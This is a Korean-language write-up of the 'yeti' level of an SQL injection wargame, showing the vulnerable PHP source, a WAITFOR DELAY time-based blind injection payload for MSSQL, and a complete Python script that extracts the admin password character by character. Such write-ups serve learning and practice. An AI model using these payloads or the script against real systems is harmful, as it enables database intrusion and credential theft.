문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("yeti");
  if(preg_match('/master|sys|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);

  $query = "select pw from prob_yeti where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("yeti"); 
  highlight_file(__FILE__);
?>

공격 백터

  • id
  • pw

공격 백터에 대한 검증

  • id : master, sys, information, ;
  • pw : master, sys, information, ;

코드 설명

$db = mssql_connect("yeti");

이번 문제도 MsSQL 문제이다.

 

$query = "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db,$query);

필터링에 통과한 공격 백터 id와 pw는 select id from prob_yeti where id='공격 백터 id' and pw='공격 백터 pw'에 들어가게 된다.
해당 쿼리문은 id='공격 백터 id' and pw='공격 백터 pw'인 prob_yeti 테이블에 저장된 id를 출력하라는 쿼리문이다.

 

이번 문제는 sqlsrv_query()으로 처리하여, Error 메세지는 출력되지 않을 것으로 보인다.
또한 쿼리문 결과를 출력하는 코드도 없어서 Time Based Blind SQLi로 풀이해야한다.

 

$query = "select pw from prob_yeti where id='admin'"; 
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("yeti"); 

두번째 쿼리문은 admin의 pw를 반환하는 쿼리문이다.
해당 결과 값은 공격 백터 pw와 비교하여 같으면 문제를 클리어하는 조건에 사용된다.


문제 풀이

나는 MySQL에선 IF문과 Sleep 함수를 사용하여 시간을 비교하여 SQLi를 시도하였다.
MsSQL은 Sleep 함수는 따로 없으며, WAITFOR 구문을 통해 쿼리문에 대한 딜레이를 줄 수 있다.

참고 사이트 : WAITFOR (Transact-SQL) - SQL Server | Microsoft Docs

 

이를 이용하여 나는 Time Based Blind SQLi를 시도하겠다.

 

?id=' IF (SELECT len(pw) FROM prob_yeti WHERE id='admin')=1 WAITFOR DELAY '00:00:10' -- -

여기서 왜 IF문 조건문에 SELECT 문을 쓴 이유는 IF문 앞에 있는 쿼리문과 IF문은 별개로 판단하기 때문에 SELECT 문을 써줘야만 가능하다.

이제 반복하여 pw의 길이를 찾은 다음 SUBSTRING 함수를 사용하여 pw을 파싱하면 된다.

 

from SQLI import SQLI
import string

url = 'https://los.rubiya.kr/chall/yeti_e6afc70b892148ced2d1e063c1230255.php?'
cookie = '6f86kfnaerbikgtmorefsu7omn'

def pwLen(instence:SQLI, maxLen:int) -> int:
    for length in range(1, maxLen+1):
        query = f"id=' IF (SELECT len(pw) FROM prob_yeti WHERE id='admin')={length} WAITFOR DELAY '00:00:10'-- -"
        _, time = instence.timeBased(query)

        if time >= 10:
            return length

def pwParser(instence:SQLI, pwLength:int) -> str:
    pw = ''
    for length in range(1, pwLength+1):
        for char in string.ascii_lowercase + string.digits + string.punctuation:
            query = f"id=' IF (SELECT substring(pw,{length},1) FROM prob_yeti WHERE id='admin')='{char}' WAITFOR DELAY '00:00:10'-- -"
            _, time = instence.timeBased(query)

            if time >= 10:
                print(f'{length}번째 pw >>>', char)
                pw += char
                continue

    return pw

if __name__ == '__main__':
    sqli = SQLI(url, cookie)

    length = pwLen(sqli, 100)
    print('pw의 길이 >>>', length)

    print('pw >>>', pwParser(sqli, length))

나는 파이썬을 이용하여 위 방법으로 pw을 파싱하겠다.

 

python으로 알아낸 pw를 서버로 보내면 문제가 클리어된다.


MsSQL SQLi 공격 참고 사이트 : PayloadsAllTheThings/MSSQL Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHub

SQLI.py

import requests, time

class SQLI:
    def __init__(self, url:str, cookie:str):
        self.url = url
        self.cookies = {'PHPSESSID' : cookie}

    def pw_parsing(self, query:str):
        response = requests.get(self.url + query, cookies=self.cookies)

        return response.text

    def timeBased(self, query:str):
        start = time.time()
        response = requests.get(self.url + query, cookies=self.cookies)

        return response.text, time.time()-start
복사했습니다!